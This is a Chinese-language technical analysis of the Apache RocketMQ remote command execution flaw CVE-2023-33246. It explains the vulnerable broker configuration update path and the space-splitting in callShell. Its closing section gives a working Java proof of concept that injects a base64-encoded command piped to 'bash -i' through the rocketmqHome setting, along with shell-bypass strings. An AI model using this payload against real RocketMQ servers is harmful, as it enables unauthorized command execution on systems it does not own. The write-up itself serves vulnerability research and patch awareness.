Apache RocketMQ 远程代码执行漏洞（CVE-2023-33246）漏洞分析

作者：Sunflower@知道创宇404实验室
日期：2023年6月8日

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

docker pull apache/rocketmq:4.9.5

运行docker run命令，搭建docker环境

docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv

docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

3.1 源代码下载

https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip

4.RocketMQ简介

我们平时使用一些体育新闻软件，会订阅自己喜欢的一些球队板块，当有作者发表文章到相关的板块，我们就能收到相关的新闻推送。

发布-订阅（Pub/Sub）是一种消息范式，消息的发送者（称为发布者、生产者、Producer）会将消息直接发送给特定的接收者（称为订阅者、消费者、Comsumer）。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢？消息的具体发送和接收又是怎么进行的呢？

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心，支持 Topic、Broker 的动态注册与发现。

主要包括两个功能：

Broker管理，NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制，检查Broker是否还存活；
路由信息管理，每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息，从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点，因此可集群部署，节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中，Broker 分为 Master 与 Slave。一个Master可以对应多个Slave，但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName，不同的BrokerId 来定义，BrokerId为0表示Master，非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前，我们需要告诉客户端NameServer的地址，RocketMQ有多种方式在客户端中设置NameServer地址，举例三个，优先级由高到低，高优先级会覆盖低优先级。

代码中指定Name Server地址，多个namesrv地址之间用分号分割

producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876

环境变量指定Name Server地址

export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法，可以用于管理主题（Topic）、消费者组（Consumer Group）、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法，包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息，并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法（更新的配置文件为broker.conf）：

public void updateBrokerConfig(String brokerAddr,
    Properties properties) throws RemotingConnectException, RemotingSendRequestException,
    RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
    defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中，FilterServerManager 类是用于管理过滤服务器（Filter Server）的类。过滤服务器是 RocketMQ 中的一种组件，用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除，以及消息过滤的评估和匹配。

5.漏洞分析

补丁文件[2]中直接将Filter Server模块全部移除，所以我们可以直接来看FilterServerManager，简要分析一下FilterServerManager的调用流程：

在Broker启动时执行sh mqbroker...，调用到BrokerStartup类：

在该类中继续调用到BrokerController中的start()方法

最终到了FilterServerManager类中，其中FilterServerUtil.callShell();存在命令执行

public void start() {

    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.configFile != null) {
        config = String.format("-c %s", BrokerStartup.configFile);
    }

    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
    }

    if (RemotingUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    }
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次，

public void start() {
    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步，很明显我们只需要控制BrokerConfig进行命令拼接，等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下：

1、在createFilterServer方法中，more的值要大于0才会触发callShell方法

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可，大致为：

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时，shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

public static void callShell(final String shellString, final InternalLogger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}

意味着传入的命令如果带了空格，都会被拆分为数组，而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ...，如果传入-c curl 127.0.0.1;

那么comArray为['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头，它将每个被传入的命令都看作为一个整体，想不出一个更合适的例子，这里可以使用shell里的单引号括起来进行辅助理解：

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

很明显，这里的curl因为使用了空格，导致curl 127.0.0.1被拆分为了两个部分，正确的写法应该是：

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

但是使用空格又会被split，所以现在的问题点就在于如何避免使用空格进行完整的传参，网上公开的解法[4]：

-c $@|sh . echo curl 127.0.0.1;

$@作为一个特殊变量，它表示传递给脚本或命令的所有参数，直接将echo后面的值作为一个整体传递给$@，解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法：

顺便一提，这个绕过的核心点在于这里如果不使用bash，则无法成功使用${IFS}以及{}进行绕过空格限制，这里就不再进行细节讲解，感兴趣的师傅可以动手试试：

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识，最终构造的payload为：

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();